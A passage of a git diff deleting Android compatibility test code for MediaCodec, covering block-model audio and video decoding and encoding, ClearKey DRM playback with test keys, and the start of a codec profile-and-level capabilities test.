-            boolean eos = (frame.getFlags() & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-
-            boolean render = false;
-            if (frame.getHardwareBuffer() != null) {
-                frame.getHardwareBuffer().close();
-                render = true;
-            }
-
-            mTimestampList.remove(frame.getPresentationTimeUs());
-
-            if (!frame.getChangedKeys().isEmpty()) {
-                mEvents.add(new FormatChangeEvent(
-                        frame.getPresentationTimeUs(), frame.getChangedKeys(), frame.getFormat()));
-            }
-
-            codec.releaseOutputBuffer(index, render);
-            if (render) {
-                mOutputSurface.awaitNewImage();
-            }
-
-            return eos;
-        }
-
-        private final OutputSurface mOutputSurface;
-        private final List<Long> mTimestampList;
-        private final List<FormatChangeEvent> mEvents;
-    }
-
-    private static class SlotEvent {
-        SlotEvent(boolean input, int index) {
-            this.input = input;
-            this.index = index;
-        }
-        final boolean input;
-        final int index;
-    }
-
-    private Result runDecodeShortVideo(
-            String inputResource,
-            long lastBufferTimestampUs,
-            boolean obtainBlockForEachBuffer) {
-        return runDecodeShortVideo(
-                getMediaExtractorForMimeType(inputResource, "video/"),
-                lastBufferTimestampUs, obtainBlockForEachBuffer, null, null, null);
-    }
-
-    private static final UUID CLEARKEY_SCHEME_UUID =
-            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
-
-    private static final byte[] CLEAR_KEY_CENC = convert(new int[] {
-            0x3f, 0x0a, 0x33, 0xf3, 0x40, 0x98, 0xb9, 0xe2,
-            0x2b, 0xc0, 0x78, 0xe0, 0xa1, 0xb5, 0xe8, 0x54 });
-
-    private static final byte[] DRM_INIT_DATA = convert(new int[] {
-            // BMFF box header (4 bytes size + 'pssh')
-            0x00, 0x00, 0x00, 0x34, 0x70, 0x73, 0x73, 0x68,
-            // Full box header (version = 1 flags = 0)
-            0x01, 0x00, 0x00, 0x00,
-            // SystemID
-            0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02, 0xac, 0xe3, 0x3c,
-            0x1e, 0x52, 0xe2, 0xfb, 0x4b,
-            // Number of key ids
-            0x00, 0x00, 0x00, 0x01,
-            // Key id
-            0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
-            0x30, 0x30, 0x30, 0x30, 0x30,
-            // size of data, must be zero
-            0x00, 0x00, 0x00, 0x00 });
-
-    private static final long ENCRYPTED_CONTENT_FIRST_BUFFER_TIMESTAMP_US = 12083333;
-    private static final long ENCRYPTED_CONTENT_LAST_BUFFER_TIMESTAMP_US = 15041666;
-
-    private static byte[] convert(int[] intArray) {
-        byte[] byteArray = new byte[intArray.length];
-        for (int i = 0; i < intArray.length; ++i) {
-            byteArray[i] = (byte)intArray[i];
-        }
-        return byteArray;
-    }
-
-    private Result runDecodeShortEncryptedVideo(boolean obtainBlockForEachBuffer) {
-        MediaExtractor extractor = new MediaExtractor();
-
-        try (final MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID)) {
-            Uri uri = Uri.parse(Utils.getMediaPath() + "/clearkey/llama_h264_main_720p_8000.mp4");
-            extractor.setDataSource(uri.toString(), null);
-            extractor.selectTrack(0);
-            extractor.seekTo(12083333, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-            drm.setOnEventListener(
-                    (MediaDrm mediaDrm, byte[] sessionId, int event, int extra, byte[] data) -> {
-                        if (event == MediaDrm.EVENT_KEY_REQUIRED
-                                || event == MediaDrm.EVENT_KEY_EXPIRED) {
-                            MediaDrmClearkeyTest.retrieveKeys(
-                                    mediaDrm, "cenc", sessionId, DRM_INIT_DATA,
-                                    MediaDrm.KEY_TYPE_STREAMING,
-                                    new byte[][] { CLEAR_KEY_CENC });
-                        }
-                    });
-            byte[] sessionId = drm.openSession();
-            MediaDrmClearkeyTest.retrieveKeys(
-                    drm, "cenc", sessionId, DRM_INIT_DATA, MediaDrm.KEY_TYPE_STREAMING,
-                    new byte[][] { CLEAR_KEY_CENC });
-            Result result = runDecodeShortVideo(
-                    extractor, ENCRYPTED_CONTENT_LAST_BUFFER_TIMESTAMP_US,
-                    obtainBlockForEachBuffer, null /* format */, null /* events */, sessionId);
-            drm.closeSession(sessionId);
-            return result;
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    private static class FormatChangeEvent {
-        FormatChangeEvent(long ts, Set<String> keys, MediaFormat fmt) {
-            timestampUs = ts;
-            changedKeys = new HashSet<>(keys);
-            format = new MediaFormat(fmt);
-        }
-
-        long timestampUs;
-        Set<String> changedKeys;
-        MediaFormat format;
-
-        @Override
-        public String toString() {
-            return Long.toString(timestampUs) + "us: changed keys=" + changedKeys
-                + " format=" + format;
-        }
-    }
-
-    private Result runDecodeShortVideo(
-            MediaExtractor mediaExtractor,
-            Long lastBufferTimestampUs,
-            boolean obtainBlockForEachBuffer,
-            MediaFormat format,
-            List<FormatChangeEvent> events,
-            byte[] sessionId) {
-        OutputSurface outputSurface = null;
-        MediaCodec mediaCodec = null;
-        MediaCrypto crypto = null;
-        try {
-            outputSurface = new OutputSurface(1, 1);
-            MediaFormat mediaFormat = mediaExtractor.getTrackFormat(
-                    mediaExtractor.getSampleTrackIndex());
-            if (format != null) {
-                // copy CSD
-                for (int i = 0; i < 3; ++i) {
-                    String key = "csd-" + i;
-                    if (mediaFormat.containsKey(key)) {
-                        format.setByteBuffer(key, mediaFormat.getByteBuffer(key));
-                    }
-                }
-                mediaFormat = format;
-            }
-            // TODO: b/147748978
-            String[] codecs = MediaUtils.getDecoderNames(true /* isGoog */, mediaFormat);
-            if (codecs.length == 0) {
-                Log.i(TAG, "No decoder found for format= " + mediaFormat);
-                return Result.SKIP;
-            }
-            mediaCodec = MediaCodec.createByCodecName(codecs[0]);
-
-            if (sessionId != null) {
-                crypto = new MediaCrypto(CLEARKEY_SCHEME_UUID, new byte[0] /* initData */);
-                crypto.setMediaDrmSession(sessionId);
-            }
-            List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            Result result = runComponentWithLinearInput(
-                    mediaCodec,
-                    crypto,
-                    mediaFormat,
-                    outputSurface.getSurface(),
-                    false,  // encoder
-                    new ExtractorInputSlotListener.Builder()
-                            .setExtractor(mediaExtractor)
-                            .setLastBufferTimestampUs(lastBufferTimestampUs)
-                            .setObtainBlockForEachBuffer(obtainBlockForEachBuffer)
-                            .setTimestampQueue(timestampList)
-                            .setContentEncrypted(sessionId != null)
-                            .build(),
-                    new SurfaceOutputSlotListener(outputSurface, timestampList, events));
-            if (result == Result.SUCCESS) {
-                assertTrue("Timestamp should match between input / output: " + timestampList,
-                        timestampList.isEmpty());
-            }
-            return result;
-        } catch (IOException e) {
-            throw new RuntimeException("error reading input resource", e);
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        } finally {
-            if (mediaCodec != null) {
-                mediaCodec.stop();
-                mediaCodec.release();
-            }
-            if (mediaExtractor != null) {
-                mediaExtractor.release();
-            }
-            if (outputSurface != null) {
-                outputSurface.release();
-            }
-            if (crypto != null) {
-                crypto.release();
-            }
-        }
-    }
-
-    private Result runDecodeShortAudio(
-            String inputResource,
-            long lastBufferTimestampUs,
-            boolean obtainBlockForEachBuffer) {
-        MediaExtractor mediaExtractor = null;
-        MediaCodec mediaCodec = null;
-        try {
-            mediaExtractor = getMediaExtractorForMimeType(inputResource, "audio/");
-            MediaFormat mediaFormat =
-                    mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
-            // TODO: b/147748978
-            String[] codecs = MediaUtils.getDecoderNames(true /* isGoog */, mediaFormat);
-            if (codecs.length == 0) {
-                Log.i(TAG, "No decoder found for format= " + mediaFormat);
-                return Result.SKIP;
-            }
-            mediaCodec = MediaCodec.createByCodecName(codecs[0]);
-
-            List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            Result result = runComponentWithLinearInput(
-                    mediaCodec,
-                    null,  // crypto
-                    mediaFormat,
-                    null,  // surface
-                    false,  // encoder
-                    new ExtractorInputSlotListener.Builder()
-                            .setExtractor(mediaExtractor)
-                            .setLastBufferTimestampUs(lastBufferTimestampUs)
-                            .setObtainBlockForEachBuffer(obtainBlockForEachBuffer)
-                            .setTimestampQueue(timestampList)
-                            .build(),
-                    new DummyOutputSlotListener(false /* graphic */, timestampList));
-            if (result == Result.SUCCESS) {
-                assertTrue("Timestamp should match between input / output: " + timestampList,
-                        timestampList.isEmpty());
-            }
-            return result;
-        } catch (IOException e) {
-            throw new RuntimeException("error reading input resource", e);
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        } finally {
-            if (mediaCodec != null) {
-                mediaCodec.stop();
-                mediaCodec.release();
-            }
-            if (mediaExtractor != null) {
-                mediaExtractor.release();
-            }
-        }
-    }
-
-    private Result runEncodeShortAudio() {
-        MediaExtractor mediaExtractor = null;
-        MediaCodec mediaCodec = null;
-        try {
-            mediaExtractor = getMediaExtractorForMimeType(
-                    "okgoogle123_good.wav", MediaFormat.MIMETYPE_AUDIO_RAW);
-            MediaFormat mediaFormat = new MediaFormat(
-                    mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex()));
-            mediaFormat.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_AAC);
-            mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
-            // TODO: b/147748978
-            String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
-            if (codecs.length == 0) {
-                Log.i(TAG, "No encoder found for format= " + mediaFormat);
-                return Result.SKIP;
-            }
-            mediaCodec = MediaCodec.createByCodecName(codecs[0]);
-
-            List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            Result result = runComponentWithLinearInput(
-                    mediaCodec,
-                    null,  // crypto
-                    mediaFormat,
-                    null,  // surface
-                    true,  // encoder
-                    new ExtractorInputSlotListener.Builder()
-                            .setExtractor(mediaExtractor)
-                            .setLastBufferTimestampUs(LAST_BUFFER_TIMESTAMP_US)
-                            .setTimestampQueue(timestampList)
-                            .build(),
-                    new DummyOutputSlotListener(false /* graphic */, timestampList));
-            if (result == Result.SUCCESS) {
-                assertTrue("Timestamp should match between input / output: " + timestampList,
-                        timestampList.isEmpty());
-            }
-            return result;
-        } catch (IOException e) {
-            throw new RuntimeException("error reading input resource", e);
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        } finally {
-            if (mediaCodec != null) {
-                mediaCodec.stop();
-                mediaCodec.release();
-            }
-            if (mediaExtractor != null) {
-                mediaExtractor.release();
-            }
-        }
-    }
-
-    private Result runEncodeShortVideo() {
-        final int kWidth = 176;
-        final int kHeight = 144;
-        final int kFrameRate = 15;
-        MediaCodec mediaCodec = null;
-        ArrayList<HardwareBuffer> hardwareBuffers = new ArrayList<>();
-        try {
-            MediaFormat mediaFormat = MediaFormat.createVideoFormat(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, kWidth, kHeight);
-            mediaFormat.setInteger(MediaFormat.KEY_FRAME_RATE, kFrameRate);
-            mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, 1000000);
-            mediaFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1);
-            mediaFormat.setInteger(
-                    MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
-            // TODO: b/147748978
-            String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
-            if (codecs.length == 0) {
-                Log.i(TAG, "No encoder found for format= " + mediaFormat);
-                return Result.SKIP;
-            }
-            mediaCodec = MediaCodec.createByCodecName(codecs[0]);
-
-            long usage = HardwareBuffer.USAGE_CPU_READ_OFTEN;
-            usage |= HardwareBuffer.USAGE_CPU_WRITE_OFTEN;
-            if (mediaCodec.getCodecInfo().isHardwareAccelerated()) {
-                usage |= HardwareBuffer.USAGE_VIDEO_ENCODE;
-            }
-            if (!HardwareBuffer.isSupported(
-                        kWidth, kHeight, HardwareBuffer.YCBCR_420_888, 1 /* layer */, usage)) {
-                Log.i(TAG, "HardwareBuffer doesn't support " + kWidth + "x" + kHeight
-                        + "; YCBCR_420_888; usage(" + Long.toHexString(usage) + ")");
-                return Result.SKIP;
-            }
-
-            List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-
-            final LinkedBlockingQueue<SlotEvent> queue = new LinkedBlockingQueue<>();
-            mediaCodec.setCallback(new MediaCodec.Callback() {
-                @Override
-                public void onInputBufferAvailable(MediaCodec codec, int index) {
-                    queue.offer(new SlotEvent(true, index));
-                }
-
-                @Override
-                public void onOutputBufferAvailable(
-                        MediaCodec codec, int index, MediaCodec.BufferInfo info) {
-                    queue.offer(new SlotEvent(false, index));
-                }
-
-                @Override
-                public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-                }
-
-                @Override
-                public void onError(MediaCodec codec, CodecException e) {
-                }
-            });
-
-            int flags = MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL;
-            flags |= MediaCodec.CONFIGURE_FLAG_ENCODE;
-
-            mediaCodec.configure(mediaFormat, null, null, flags);
-            mediaCodec.start();
-            boolean eos = false;
-            boolean signaledEos = false;
-            int frameIndex = 0;
-            while (!eos && !Thread.interrupted()) {
-                SlotEvent event;
-                try {
-                    event = queue.take();
-                } catch (InterruptedException e) {
-                    return Result.FAIL;
-                }
-
-                if (event.input) {
-                    if (signaledEos) {
-                        continue;
-                    }
-                    while (hardwareBuffers.size() <= event.index) {
-                        hardwareBuffers.add(null);
-                    }
-                    HardwareBuffer buffer = hardwareBuffers.get(event.index);
-                    if (buffer == null) {
-                        buffer = HardwareBuffer.create(
-                                kWidth, kHeight, HardwareBuffer.YCBCR_420_888, 1, usage);
-                        hardwareBuffers.set(event.index, buffer);
-                    }
-                    try (Image image = MediaCodec.mapHardwareBuffer(buffer)) {
-                        assertNotNull("CPU readable/writable image must be mappable", image);
-                        assertEquals(kWidth, image.getWidth());
-                        assertEquals(kHeight, image.getHeight());
-                        // For Y plane
-                        int rowSampling = 1;
-                        int colSampling = 1;
-                        for (Image.Plane plane : image.getPlanes()) {
-                            ByteBuffer planeBuffer = plane.getBuffer();
-                            for (int row = 0; row < kHeight / rowSampling; ++row) {
-                                int rowOffset = row * plane.getRowStride();
-                                for (int col = 0; col < kWidth / rowSampling; ++col) {
-                                    planeBuffer.put(
-                                            rowOffset + col * plane.getPixelStride(),
-                                            (byte)(frameIndex * 4));
-                                }
-                            }
-                            // For Cb and Cr planes
-                            rowSampling = 2;
-                            colSampling = 2;
-                        }
-                    }
-
-                    long timestampUs = 1000000l * frameIndex / kFrameRate;
-                    ++frameIndex;
-                    if (frameIndex >= 32) {
-                        signaledEos = true;
-                    }
-                    timestampList.add(timestampUs);
-                    mediaCodec.getQueueRequest(event.index)
-                            .setHardwareBuffer(buffer)
-                            .setPresentationTimeUs(timestampUs)
-                            .setFlags(signaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0)
-                            .queue();
-                } else {
-                    MediaCodec.OutputFrame frame = mediaCodec.getOutputFrame(event.index);
-                    eos = (frame.getFlags() & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-
-                    if (!eos) {
-                        assertNotNull(frame.getLinearBlock());
-                        frame.getLinearBlock().recycle();
-                    }
-
-                    timestampList.remove(frame.getPresentationTimeUs());
-
-                    mediaCodec.releaseOutputBuffer(event.index, false);
-                }
-            }
-
-            if (!timestampList.isEmpty()) {
-                assertTrue("Timestamp should match between input / output: " + timestampList,
-                        timestampList.isEmpty());
-            }
-            return eos ? Result.SUCCESS : Result.FAIL;
-        } catch (IOException e) {
-            throw new RuntimeException("error reading input resource", e);
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        } finally {
-            if (mediaCodec != null) {
-                mediaCodec.stop();
-                mediaCodec.release();
-            }
-            for (HardwareBuffer buffer : hardwareBuffers) {
-                if (buffer != null) {
-                    buffer.close();
-                }
-            }
-        }
-    }
-
-    private Result runComponentWithLinearInput(
-            MediaCodec mediaCodec,
-            MediaCrypto crypto,
-            MediaFormat mediaFormat,
-            Surface surface,
-            boolean encoder,
-            InputSlotListener inputListener,
-            OutputSlotListener outputListener) throws Exception {
-        final LinkedBlockingQueue<SlotEvent> queue = new LinkedBlockingQueue<>();
-        mediaCodec.setCallback(new MediaCodec.Callback() {
-            @Override
-            public void onInputBufferAvailable(MediaCodec codec, int index) {
-                queue.offer(new SlotEvent(true, index));
-            }
-
-            @Override
-            public void onOutputBufferAvailable(
-                    MediaCodec codec, int index, MediaCodec.BufferInfo info) {
-                queue.offer(new SlotEvent(false, index));
-            }
-
-            @Override
-            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-            }
-
-            @Override
-            public void onError(MediaCodec codec, CodecException e) {
-            }
-        });
-        String[] codecNames = new String[]{ mediaCodec.getName() };
-        LinearInputBlock input = new LinearInputBlock();
-        if (!mediaCodec.getCodecInfo().isVendor() && mediaCodec.getName().startsWith("c2.")) {
-            assertTrue("Google default c2.* codecs are copy-free compatible with LinearBlocks",
-                    MediaCodec.LinearBlock.isCodecCopyFreeCompatible(codecNames));
-        }
-        if (crypto != null) {
-            codecNames[0] = codecNames[0] + ".secure";
-        }
-        input.block = MediaCodec.LinearBlock.obtain(
-                APP_BUFFER_SIZE, codecNames);
-        assertTrue("Blocks obtained through LinearBlock.obtain must be mappable",
-                input.block.isMappable());
-        input.buffer = input.block.map();
-        input.offset = 0;
-
-        int flags = MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL;
-        if (encoder) {
-            flags |= MediaCodec.CONFIGURE_FLAG_ENCODE;
-        }
-        mediaCodec.configure(mediaFormat, surface, crypto, flags);
-        mediaCodec.start();
-        boolean eos = false;
-        boolean signaledEos = false;
-        while (!eos && !Thread.interrupted()) {
-            SlotEvent event;
-            try {
-                event = queue.take();
-            } catch (InterruptedException e) {
-                return Result.FAIL;
-            }
-
-            if (event.input) {
-                inputListener.onInputSlot(mediaCodec, event.index, input);
-            } else {
-                eos = outputListener.onOutputSlot(mediaCodec, event.index);
-            }
-        }
-
-        input.block.recycle();
-        return eos ? Result.SUCCESS : Result.FAIL;
-    }
-
-    private MediaExtractor getMediaExtractorForMimeType(final String resource,
-            String mimeTypePrefix) {
-        MediaExtractor mediaExtractor = new MediaExtractor();
-        try (AssetFileDescriptor afd = getAssetFileDescriptorFor(resource)) {
-            mediaExtractor.setDataSource(
-                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-        int trackIndex;
-        for (trackIndex = 0; trackIndex < mediaExtractor.getTrackCount(); trackIndex++) {
-            MediaFormat trackMediaFormat = mediaExtractor.getTrackFormat(trackIndex);
-            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
-                mediaExtractor.selectTrack(trackIndex);
-                break;
-            }
-        }
-        if (trackIndex == mediaExtractor.getTrackCount()) {
-            throw new IllegalStateException("couldn't get a video track");
-        }
-
-        return mediaExtractor;
-    }
-
-    private static boolean supportsCodec(String mimeType, boolean encoder) {
-        MediaCodecList list = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        for (MediaCodecInfo info : list.getCodecInfos()) {
-            if (encoder != info.isEncoder()) {
-                continue;
-            }
-
-            for (String type : info.getSupportedTypes()) {
-                if (type.equalsIgnoreCase(mimeType)) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
deleted file mode 100644
index e6e1ce6..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ /dev/null
@@ -1,957 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.app.ActivityManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.AudioCapabilities;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import static android.media.MediaCodecInfo.CodecProfileLevel.*;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import static android.media.MediaFormat.MIMETYPE_VIDEO_AVC;
-import static android.media.MediaFormat.MIMETYPE_VIDEO_H263;
-import static android.media.MediaFormat.MIMETYPE_VIDEO_HEVC;
-import static android.media.MediaFormat.MIMETYPE_VIDEO_MPEG4;
-import static android.media.MediaFormat.MIMETYPE_VIDEO_VP8;
-import static android.media.MediaFormat.MIMETYPE_VIDEO_VP9;
-import android.media.MediaPlayer;
-import android.os.Build;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.util.Range;
-import android.util.Size;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.IOException;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.Arrays;
-import java.util.Vector;
-
-/**
- * Basic validation test of data returned by MediaCodeCapabilities.
- */
-@AppModeFull(reason = "Dynamic config disabled.")
-public class MediaCodecCapabilitiesTest extends MediaPlayerTestBase {
-
-    private static final String TAG = "MediaCodecCapabilitiesTest";
-    private static final int PLAY_TIME_MS = 30000;
-    private static final int TIMEOUT_US = 1000000;  // 1 sec
-    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
-
-    private final MediaCodecList mAllCodecs =
-            new MediaCodecList(MediaCodecList.ALL_CODECS);
-    private final MediaCodecInfo[] mAllInfos =
-            mAllCodecs.getCodecInfos();
-
-    private static final String AVC_BASELINE_12_KEY =
-            "media_codec_capabilities_test_avc_baseline12";
-    private static final String AVC_BASELINE_30_KEY =
-            "media_codec_capabilities_test_avc_baseline30";
-    private static final String AVC_HIGH_31_KEY = "media_codec_capabilities_test_avc_high31";
-    private static final String AVC_HIGH_40_KEY = "media_codec_capabilities_test_avc_high40";
-    private static final String MODULE_NAME = "CtsMediaTestCases";
-    private DynamicConfigDeviceSide dynamicConfig;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
-    }
-
-    // Android device implementations with H.264 encoders, MUST support Baseline Profile Level 3.
-    // SHOULD support Main Profile/ Level 4, if supported the device must also support Main
-    // Profile/Level 4 decoding.
-    public void testH264EncoderProfileAndLevel() throws Exception {
-        if (!MediaUtils.checkEncoder(MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        assertTrue(
-                "H.264 must support Baseline Profile Level 3",
-                hasEncoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3));
-
-        if (hasEncoder(MIMETYPE_VIDEO_AVC, AVCProfileMain, AVCLevel4)) {
-            assertTrue(
-                    "H.264 decoder must support Main Profile Level 4 if it can encode it",
-                    hasDecoder(MIMETYPE_VIDEO_AVC, AVCProfileMain, AVCLevel4));
-        }
-    }
-
-    // Android device implementations with H.264 decoders, MUST support Baseline Profile Level 3.
-    // Android Television Devices MUST support High Profile Level 4.2.
-    public void testH264DecoderProfileAndLevel() throws Exception {
-        if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        assertTrue(
-                "H.264 must support Baseline Profile Level 3",
-                hasDecoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3));
-
-        if (isTv()) {
-            assertTrue(
-                    "H.264 must support High Profile Level 4.2 on TV",
-                    checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel42));
-        }
-    }
-
-    // Android device implementations with H.263 encoders, MUST support Level 45.
-    public void testH263EncoderProfileAndLevel() throws Exception {
-        if (!MediaUtils.checkEncoder(MIMETYPE_VIDEO_H263)) {
-            return; // skip
-        }
-
-        assertTrue(
-                "H.263 must support Level 45",
-                hasEncoder(MIMETYPE_VIDEO_H263, MPEG4ProfileSimple, H263Level45));
-    }
-
-    // Android device implementations with H.263 decoders, MUST support Level 30.
-    public void testH263DecoderProfileAndLevel() throws Exception {
-        if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_H263)) {
-            return; // skip
-        }
-
-        assertTrue(
-                "H.263 must support Level 30",
-                hasDecoder(MIMETYPE_VIDEO_H263, MPEG4ProfileSimple, H263Level30));
-    }
-
-    // Android device implementations with MPEG-4 decoders, MUST support Simple Profile Level 3.
-    public void testMpeg4DecoderProfileAndLevel() throws Exception {
-        if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_MPEG4)) {
-            return; // skip
-        }
-
-        assertTrue(
-                "MPEG-4 must support Simple Profile Level 3",
-                hasDecoder(MIMETYPE_VIDEO_MPEG4, MPEG4ProfileSimple, MPEG4Level3));
-    }
-
-    // Android device implementations, when supporting H.265 codec MUST support the Main Profile
-    // Level 3 Main tier.
-    // Android Television Devices MUST support the Main Profile Level 4.1 Main tier.
-    // When the UHD video decoding profile is supported, it MUST support Main10 Level 5 Main
-    // Tier profile.
-    public void testH265DecoderProfileAndLevel() throws Exception {
-        if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_HEVC)) {
-            return; // skip
-        }
-
-        assertTrue(
-                "H.265 must support Main Profile Main Tier Level 3",
-                hasDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel3));
-
-        if (isTv()) {
-            assertTrue(
-                    "H.265 must support Main Profile Main Tier Level 4.1 on TV",
-                    hasDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel41));
-        }
-
-        if (isTv() && MediaUtils.canDecodeVideo(MIMETYPE_VIDEO_HEVC, 3840, 2160, 30)) {
-            assertTrue(
-                    "H.265 must support Main10 Profile Main Tier Level 5 if UHD is supported",
-                    hasDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain10, HEVCMainTierLevel5));
-        }
-    }
-
-    public void testVp9DecoderCapabilitiesOnTv() throws Exception {
-        if (isTv() && MediaUtils.hasHardwareCodec(MIMETYPE_VIDEO_VP9, /* encode = */ false)) {
-            // CDD [5.3.7.4/T-1-1]
-            assertTrue(MediaUtils.canDecodeVideo(MIMETYPE_VIDEO_VP9, 1920, 1080, 60 /* fps */,
-                    VP9Profile0, null, null));
-            if (MediaUtils.canDecodeVideo(MIMETYPE_VIDEO_VP9, 3840, 2160, 60 /* fps */)) {
-                // CDD [5.3.7.5/T-2-1]
-                assertTrue(MediaUtils.canDecodeVideo(MIMETYPE_VIDEO_VP9, 3840, 2160, 60 /* fps */,
-                        VP9Profile0, null, null));
-            }
-        }
-    }
-
-    public void testAvcBaseline1() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel1)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testAvcBaseline12() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel12)) {
-            return; // skip
-        }
-
-        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel12)) {
-            String urlString = dynamicConfig.getValue(AVC_BASELINE_12_KEY);
-            playVideoWithRetries(urlString, 256, 144, PLAY_TIME_MS);
-        }
-    }
-
-    public void testAvcBaseline30() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3)) {
-            return; // skip
-        }
-
-        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3)) {
-            String urlString = dynamicConfig.getValue(AVC_BASELINE_30_KEY);
-            playVideoWithRetries(urlString, 640, 360, PLAY_TIME_MS);
-        }
-    }
-
-    public void testAvcHigh31() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel31)) {
-            return; // skip
-        }
-
-        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel31)) {
-            String urlString = dynamicConfig.getValue(AVC_HIGH_31_KEY);
-            playVideoWithRetries(urlString, 1280, 720, PLAY_TIME_MS);
-        }
-    }
-
-    public void testAvcHigh40() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel4)) {
-            return; // skip
-        }
-        if (ApiLevelUtil.isBefore(18)) {
-            MediaUtils.skipTest(TAG, "fragmented mp4 not supported");
-            return;
-        }
-
-        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel4)) {
-            String urlString = dynamicConfig.getValue(AVC_HIGH_40_KEY);
-            playVideoWithRetries(urlString, 1920, 1080, PLAY_TIME_MS);
-        }
-    }
-
-    public void testHevcMain1() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel1)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testHevcMain2() throws Exception {
